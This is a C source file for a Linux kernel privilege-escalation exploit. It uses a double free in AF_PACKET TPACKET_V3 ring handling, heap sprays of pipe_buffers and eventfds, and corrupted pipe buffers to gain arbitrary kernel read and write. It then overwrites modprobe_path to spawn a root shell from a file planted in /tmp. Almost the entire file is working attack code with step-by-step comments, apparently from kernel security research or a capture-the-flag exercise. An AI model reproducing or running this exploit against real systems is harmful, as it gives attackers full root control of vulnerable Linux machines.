#define _GNU_SOURCE
#include "exploit.h"
#include <assert.h>
#include <fcntl.h>
#include <linux/if_packet.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/eventfd.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

int fpair[2];

static void setup_sandbox() {
    unshare(CLONE_NEWNET | CLONE_NEWUSER);
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0, &set);
    CHECK(sched_setaffinity(getpid(), sizeof(set), &set) < 0);
}

static void close_prev_fds() {
    for (int i = 3; i < 0x9000; ++i) {
        if (i != fpair[1])
            close(i);
    }
}

static void setpipe_sz(struct pipe_rw *p, unsigned int size) {
    CHECK(fcntl(p->w, F_SETPIPE_SZ, size));
}

struct pipe_rw *alloc_pipes(exploit_ctx *ctx, int n, bool init_pipes) {
    int fd_pair[2];
    struct pipe_rw *pipes;

    ctx->pipe_data = ctx->pipe_data ? ctx->pipe_data : calloc(1, 0x5000);
    pipes = calloc(n, sizeof(*pipes));

    for (int i = 0; i < n; ++i) {
        CHECK(pipe(fd_pair));
        pipes[i].r = fd_pair[0];
        pipes[i].w = fd_pair[1];
        setpipe_sz(&pipes[i], pipesz(256));
    }

    if (!init_pipes)
        goto pipe_alloc_ret;

    for (int i = 0; i < n; ++i) {
        if (i < (n - 0x30)) {
            CHECK(write(pipes[i].w, ctx->pipe_data, 0x2002));
        }
        CHECK(write(pipes[i].w, ctx->pipe_data, 2));
    }

pipe_alloc_ret:
    return pipes;
}

static void release_pipe(struct pipe_rw *p) {
    close(p->r);
    close(p->w);
}

static int fionread(int fd) {
    int len = -1;
    while (ioctl(fd, FIONREAD, &len) < 0)
        usleep(1000);
    return len;
}

static void release_dup_page(exploit_ctx *ctx, struct pipe_rw *p,
                             struct pipe_rw *q) {
    char tmp[0x100];
    setpipe_sz(q, pipesz(256));
    read(p->r, tmp, 0x100 - 8);
    ctx->corrupt = q;
}

static void eventfd_reclaim(exploit_ctx *ctx) {
    for (int i = 0; i < NUM_EVFD; ++i)
        ctx->evfds[i] = CHECK(eventfd(0x13370000 + i, 0));
    CHECK(read(ctx->corrupt->r, ctx->pipe_data, 0x1000)); // Release page
    CHECK_V(read(ctx->corrupt->r, ctx->pipe_data, 0x78), 0x78);

    if ((ctx->pipe_data_qw[2] >> 0x10) != 0x1337) {
        puts("[-] Exploit Failed. Retrying...");
        int pid = fork();
        if (!pid) {
            exploit(); // Can be improved, but seems to be very stable
            exit(0);
        }
        wait(NULL);
        exit(0);
    }

    ctx->eventfd_idx = ctx->pipe_data_qw[2] - 0x13370000;
    ctx->page_addr = ctx->pipe_data_qw[1] - 0x8LL;
    ctx->page_offset = ctx->page_addr & ~(0x3fffffff);
    printf("[+] Page addr: %#lx\n", ctx->page_addr);
    printf("[+] Page offset: %#lx\n", ctx->page_offset);
}

static void realloc_page(exploit_ctx *ctx) {
    ctx->pipes = alloc_pipes(ctx, 160, false);

    for (int i = 0; i < 32; ++i)
        close(ctx->evfds[ctx->eventfd_idx + i]);
    for (int i = 0; i < 160; ++i)
        setpipe_sz(&ctx->pipes[i], 0x1000);
    for (int i = 0; i < 160; ++i)
        write(ctx->pipes[i].w, ctx->pipe_data, 3);

    CHECK_V(read(ctx->corrupt->r, ctx->pipe_data, 0x78), 0x78);

    ctx->pbuf_ops = ctx->pbuf->ops;
    ctx->tmp_page = ctx->pbuf->page;
    ctx->vmemmap_base = (ctx->pbuf->page & ~(0xfffffffULL));
    ctx->kbase = ctx->pbuf_ops - PBUF_OPS_OFF;

    printf("[+] Anon pipe buf ops: %#lx\n", ctx->pbuf_ops);
    printf("[+] Kbase: %#lx\n", ctx->kbase);
    printf("[+] Temporary page from pipe buffer: %#lx\n", ctx->tmp_page);
    printf("[+] VMEMMAP base: %#lx\n", ctx->vmemmap_base);
}

uint64_t virt_to_phys(exploit_ctx *ctx, unsigned long x) {
    unsigned long y = x - __START_KERNEL_map;
    assert(x < y);

    return x - ctx->page_offset;
}

#define __pfn_to_page(pfn) (ctx->vmemmap_base + (pfn))

static struct pipe_rw *find_pipe_sz(exploit_ctx *ctx, size_t len) {
    for (int i = 0; i < 160; ++i)
        if (fionread(ctx->pipes[i].r) == len)
            return &ctx->pipes[i];
    assert(0);
}

static void setup_rw(exploit_ctx *ctx) {
    struct pipe_buffer *corrupting_buf = calloc(2, 0x40);
    struct pipe_buffer *corrupt_buf =
        (struct pipe_buffer *)((char *)corrupting_buf + 0x40);

    corrupting_buf->page =
        __pfn_to_page((virt_to_phys(ctx, ctx->page_addr) >> 12) * 0x40);

    corrupting_buf->ops = ctx->pbuf_ops;
    corrupting_buf->offset = 0x100;

    write(ctx->corrupt->w, corrupting_buf, 0x40);
    struct pipe_rw *corrupting_pipe = find_pipe_sz(ctx, corrupting_buf->len);

    corrupt_buf->page = ctx->tmp_page;
    corrupt_buf->len = 0xbad;
    corrupt_buf->ops = ctx->pbuf_ops;

    corrupting_buf->len = -0x80;

    CHECK_V(write(corrupting_pipe->w, (void *)corrupting_buf, 0x80), 0x80);
    struct pipe_rw *corrupt_pipe = find_pipe_sz(ctx, corrupt_buf->len);

    ctx->corrupt = corrupt_pipe;
    ctx->corrupt_buf = corrupt_buf;
    ctx->corrupting = corrupting_pipe;
    ctx->corrupting_buf = corrupting_buf;
}

static void kread(exploit_ctx *ctx, uint64_t kaddr, char *uaddr,
                  unsigned int len, enum ktype kreg) {

    kaddr = (kreg == KHEAP)
                ? kaddr
                : (ctx->page_offset + ctx->kvoff + kaddr - ctx->kbase);
    ctx->corrupt_buf->page =
        __pfn_to_page((virt_to_phys(ctx, kaddr) >> 12) * 0x40);
    ctx->corrupt_buf->offset = (unsigned int)(kaddr & 0xfffLL);
    ctx->corrupt_buf->len = 0x1000 - ctx->corrupt_buf->offset;

    CHECK_V(write(ctx->corrupting->w, (void *)ctx->corrupting_buf, 0x80), 0x80);
    CHECK_V(read(ctx->corrupt->r, uaddr, len), len);
}

static void kwrite(exploit_ctx *ctx, uint64_t kaddr, char *uaddr,
                   unsigned int len, enum ktype kreg) {
    kaddr = (kreg == KHEAP)
                ? kaddr
                : (ctx->page_offset + ctx->kvoff + kaddr - ctx->kbase);
    ctx->corrupt_buf->page =
        __pfn_to_page((virt_to_phys(ctx, kaddr) >> 12) * 0x40);
    ctx->corrupt_buf->offset = 0;
    ctx->corrupt_buf->len = (unsigned int)(kaddr & 0xfffLL);

    CHECK_V(write(ctx->corrupting->w, (void *)ctx->corrupting_buf, 0x80), 0x80);
    CHECK_V(write(ctx->corrupt->w, uaddr, len), len);
}

static void find_kvoff(exploit_ctx *ctx) {
    uint64_t startup_qw = 0;
    while (1) {
        kread(ctx, ctx->page_offset + ctx->kvoff, (char *)&startup_qw, 8, KHEAP);
        if (startup_qw != STARTUP_QW) {
            ctx->kvoff += 0x10000;
            continue;
        }
        break;
    }
    printf("[+] Kvoff: %#lx\n", ctx->kvoff);
}

static void exploit() {
    int fd;
    exploit_ctx *ctx;
    struct pipe_rw *pipes, *pipes2;

    setup_sandbox();
    close_prev_fds();

    fd = CHECK(socket(AF_PACKET, SOCK_RAW, 0));
    ctx = calloc(1, sizeof(*ctx));

    /**
     * Create NUM_PIPES pipefds and resize each to 0x4000.
     * The pipe_inode_info structure is allocated for each pipefd.
     * This structure stores a circular list of pipe_buffer structures each
     * consisting of a page for storing associated data. The size of the circular
     * list is sizeof(pipe_buffer) * num_pages = 64 * 4 = 256. All pipe_buffers
     * are allocated from the kmalloc-256 cache after the resize.
     **/

    pipes = alloc_pipes(ctx, NUM_PIPES, true);

    // Swicth to TPACKET_V3
    CHECK(setsockopt(fd, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V3},
                     sizeof(int)));

    // Allocate rx_owner_map - kmalloc-2048
    union tpacket_req_u treq = {};
    treq.req3.tp_block_size = 0x1000;
    treq.req3.tp_block_nr = 0x410 / 8;
    treq.req3.tp_frame_size = 0x1000;
    treq.req3.tp_frame_nr = 0x410 / 8;
    CHECK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq)));

    /**
     * Allocate pipe_buffers and resize to 0x20000. (size = 64 * 32 = 2048)
     * Buddy allocator allocates new slabs for kmalloc-2048.
     **/

    pipes2 = alloc_pipes(ctx, 0x90, false);
    for (int i = 0; i < 0x90; ++i)
        setpipe_sz(&pipes2[i], pipesz(2048));

    /**
     * Free pipe_buffers for reallocation.
     * Don't free all so that the slab doesn't get freed.
     **/
    for (int i = 0; i < 0x90; ++i)
        if (i & 4)
            release_pipe(&pipes2[i]);

    // Free rx_owner_map - kmalloc-2048
    memset(&treq, 0, sizeof(treq));
    CHECK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq)));

    // Realloc rx_owner_map with pipe_buffer
    for (int i = 0; i < NUM_PIPES - 0x30; ++i)
        setpipe_sz(&pipes[i], pipesz(2048));

    /**
     * Release the first page for each pipe.
     * This is cached at pipe_inode_info->tmp_page.
     **/

    for (int i = 0; i < NUM_PIPES - 0x30; ++i)
        CHECK_V(read(pipes[i].r, ctx->pipe_data, 0x1000), 0x1000);

    // Swicth to TPACKET_V2
    CHECK(setsockopt(fd, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V2},
                     sizeof(int)));

    /**
     * Double free rx_owner_map
     * Hopefully, this was reallocated with the pipe_buffer spray earlier.
     **/
    treq.req3.tp_block_size = 0x1000;
    treq.req3.tp_block_nr = 1;
    treq.req3.tp_frame_size = 0x1000;
    treq.req3.tp_frame_nr = 1;
    CHECK(setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq)));

    // Realloc the pipe_buffer again
    for (int i = NUM_PIPES - 0x30; i < NUM_PIPES; ++i)
        setpipe_sz(&pipes[i], pipesz(2048));

    memset(ctx->pipe_data, 0, 0x1000);
    for (int i = NUM_PIPES - 0x30; i < NUM_PIPES; ++i) {
        CHECK(write(pipes[i].w, ctx->pipe_data, 0x1000 - 2));
        CHECK(write(pipes[i].w, ctx->pipe_data, 0x100));
        ctx->pipe_data[0]++;
    }

    uint64_t corrupt_pipe_idx;
    size_t len;

    // Find the corrupted pipe_buffer using the length
    for (int i = 0; i < NUM_PIPES - 0x30; ++i) {
        len = fionread(pipes[i].r);
        if (len != 0x1004) {
            CHECK(read(pipes[i].r, &corrupt_pipe_idx, 8));
            ctx->corrupt = &pipes[i];
            break;
        }
    }

    corrupt_pipe_idx += NUM_PIPES - 0x30;

    // Release unused pipes
    for (int i = 0; i < 0x90; ++i)
        if (!(i & 4))
            release_pipe(&pipes2[i]);

    for (int i = 0; i < NUM_PIPES; ++i) {
        if (ctx->corrupt == &pipes[i] || corrupt_pipe_idx == i)
            continue;
        release_pipe(&pipes[i]);
    }

    // Two pipe_buffers now have reference to the same page. Release the dup
    // pipe_buffer to free the page.
    release_dup_page(ctx, ctx->corrupt, &pipes[corrupt_pipe_idx]);
    // Reclaim the freed page with a eventfd spray.
    eventfd_reclaim(ctx);
    realloc_page(ctx);

    setup_rw(ctx);
    find_kvoff(ctx);
    kwrite(ctx, ctx->kbase + MODPROBE_OFF, "/tmp/x", 7, KIMG);

    CHECK(write(fpair[1], "a", 1));
    while (1)
        sleep(0x1000000);
}

void modprobe_to_root() {
    system("echo '#!/bin/sh' > /tmp/x; echo 'setsid cttyhack setuidgid 0 "
           "/bin/sh' >> /tmp/x");
    system("chmod +x /tmp/x");
    system("echo -ne '\xff\xff\xff\xff' > /tmp/trigger && chmod 777 "
           "/tmp/trigger && /tmp/trigger");
    system("sh");
}

int main(void) {
    int pid;
    char tmp;

    CHECK(pipe(fpair));
    pid = fork();
    if (!pid) {
        exploit();
        exit(0);
    }

    read(fpair[0], &tmp, 1);
    modprobe_to_root();
}